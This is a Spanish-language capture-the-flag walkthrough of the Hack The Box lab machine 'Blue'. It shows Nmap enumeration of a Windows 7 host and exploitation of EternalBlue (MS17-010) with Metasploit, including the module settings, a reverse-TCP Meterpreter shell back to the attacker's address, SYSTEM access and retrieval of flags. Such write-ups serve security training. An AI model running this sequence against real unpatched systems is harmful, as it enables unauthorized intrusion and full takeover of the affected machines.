Blue

Enumeración

La fase de enumeración inició verificando la conectividad mediante ping, donde el TTL=127 nos indicó de inmediato que nos enfrentábamos a una máquina Windows. Un escaneo inicial de puertos con Nmap reveló la apertura de los puertos clásicos de entornos Microsoft:

  • 135/tcp: MSRPC
  • 139/tcp: NetBIOS
  • 445/tcp: SMB

Al realizar un escaneo más profundo con scripts de enumeración -sCV, confirmamos que el sistema operativo era Windows 7 Professional 7601 Service Pack 1. Dado que este sistema suele ser vulnerable si no está parcheado, ejecutamos el script de Nmap enfocados en el protocolo SMB (smb-protocols). Los resultados fueron contundentes: el servidor tenía habilitado SMBv1 y fue catalogado directamente como VULNERABLE a ejecución remota de código a través del infame CVE-2017-0143, conocido como EternalBlue.

# Comprobar la conexión y el ttl=127 que nos indica que es una máquina Windows
# [-c 1] Enviar solo 1 paquete ICMP para comprobar conectividad
┌──(jquirozz㉿jquirozz.com)-[~/HTB/blue]
└─$ ping -c 1 10.129.20.252
PING 10.129.20.252 (10.129.20.252) 56(84) bytes of data.
64 bytes from 10.129.20.252: icmp_seq=1 ttl=127 time=166 ms

# [-p-] Escaneo de todos los puertos (1-65535)
# [-sS] Escaneo sigiloso SYN (Stealth Scan)
# [-Pn] Omitir el descubrimiento de hosts (No ping)
# [--min-rate=5000] Enviar un mínimo de 5000 paquetes por segundo para agilizar el escaneo
┌──(jquirozz㉿jquirozz.com)-[~/HTB/blue]
└─$ nmap -p- -sS -Pn --min-rate=5000 10.129.20.252
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-05 21:43 -0400
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown

# [-p...] Escanear solo los puertos especificados separados por comas
# [-sCV] Ejecutar scripts por defecto (-sC) y detectar versiones de servicios (-sV)
# [-oN] Guardar el output en formato normal de Nmap
┌──(jquirozz㉿jquirozz.com)-[~/HTB/blue]
└─$ nmap -p135,139,445 -sCV --min-rate=5000 10.129.20.252 -oN scan.nmap
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -19m55s, deviation: 34m36s, median: 2s
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2026-04-06T02:46:18+01:00
| smb2-time:
|   date: 2026-04-06T01:46:20
|_  start_date: 2026-04-06T01:39:53
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.1:
|_    Message signing enabled but not required

# [--script] Ejecutar un script específico del Nmap Scripting Engine (NSE)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/blue]
└─$ nmap -p445 --script smb-protocols 10.129.20.252
Host script results:
| smb-protocols:
|   dialects:
|     NT LM 0.12 (SMBv1) [dangerous, but default]
|     2.0.2
|_    2.1

Explotación

Dado que EternalBlue MS17-010 es una vulnerabilidad que corrompe el pool de memoria del kernel de Windows, su explotación exitosa no nos otorga un usuario de bajos privilegios, sino que nos proporciona acceso administrativo directo. Por lo tanto, las fases de intrusión y escalada de privilegios ocurren simultáneamente.

Para explotar esta vulnerabilidad, utilizarémos la herramienta Metasploit. Tras iniciar la consola del Framework, buscamos la vulnerabilidad correspondiente y seleccionamos el exploit exploit/windows/smb/ms17_010_eternalblue. Configuramos los parámetros esenciales: el HOSTS apuntando a nuestra máquina objetivo y el LHOST hacia nuestra dirección de VPN para recibir la conexión.

Ejecutamos el comando check para revalidar la vulnerabilidad desde Metasploit, lo cual fue confirmado positivamente. Al lanzar el comando exploit, el módulo logró sobrescribir exitosamente el buffer en el objetivo, enviando la estructura del payload y abriendo una sesión inversa de Meterpreter. Al verificar nuestros privilegios con getuid, confirmamos que teníamos control absoluto del sistema como NT AUTHORITY\SYSTEM. Finalmente, navegamos por los directorios de los usuarios haris y Administrator para recolectar ambas flags: user.txt y root.txt.

# [-q] Modo silencioso (Quiet). Inicia msfconsole sin mostrar el banner visual
┌──(jquirozz㉿jquirozz.com)-[~/HTB/blue]
└─$ msfconsole -q
msf > search ms17_010

Matching Modules
================
   #   Name                                           Disclosure Date  Rank     Check  Description
   -   ----                                           ---------------  ----     -----  -----------
   0   exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1     \_ target: Automatic Target                  .                .        .      .
   2     \_ target: Windows 7                         .                .        .      .
   ...
   ...
   ...

msf > use 2
[*] Additionally setting TARGET => Windows 7
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp

msf exploit(windows/smb/ms17_010_eternalblue) > info
       Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
     Module: exploit/windows/smb/ms17_010_eternalblue
   Platform: Windows
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2017-03-14

msf exploit(windows/smb/ms17_010_eternalblue) > set lhost 10.10.15.174
lhost => 10.10.15.174

msf exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.129.20.252
rhosts => 10.129.20.252

msf exploit(windows/smb/ms17_010_eternalblue) > check
[*] 10.129.20.252:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.129.20.252:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.26/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] 10.129.20.252:445     - Scanned 1 of 1 hosts (100% complete)
[+] 10.129.20.252:445 - The target is vulnerable.

msf exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 10.10.15.174:4444
[*] 10.129.20.252:445 - Connecting to target for exploitation.
[+] 10.129.20.252:445 - Connection established for exploitation.
[+] 10.129.20.252:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.129.20.252:445 - CORE raw buffer dump (42 bytes)
[*] 10.129.20.252:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.129.20.252:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.129.20.252:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
...
...
...
[*] 10.129.20.252:445 - Receiving response from exploit packet
[+] 10.129.20.252:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.129.20.252:445 - Sending egg to corrupted connection.
[*] 10.129.20.252:445 - Triggering free of corrupted buffer.
[*] Sending stage (244806 bytes) to 10.129.20.252
[*] Meterpreter session 1 opened (10.10.15.174:4444 -> 10.129.20.252:49159) at 2026-04-06 00:34:13 -0400
[+] 10.129.20.252:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.20.252:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.20.252:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > pwd
C:\Windows\system32

meterpreter > ls C:/Users/
Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  8192  dir   2017-07-21 02:56:36 -0400  Administrator
040555/r-xr-xr-x  8192  dir   2009-07-14 03:07:31 -0400  Default
040555/r-xr-xr-x  4096  dir   2011-04-12 03:51:29 -0400  Public
040777/rwxrwxrwx  8192  dir   2017-07-14 09:45:53 -0400  haris

meterpreter > cat C:/Users/haris/Desktop/user.txt
9c****************************fc

meterpreter > cat C:/Users/Administrator/Desktop/root.txt
26****************************02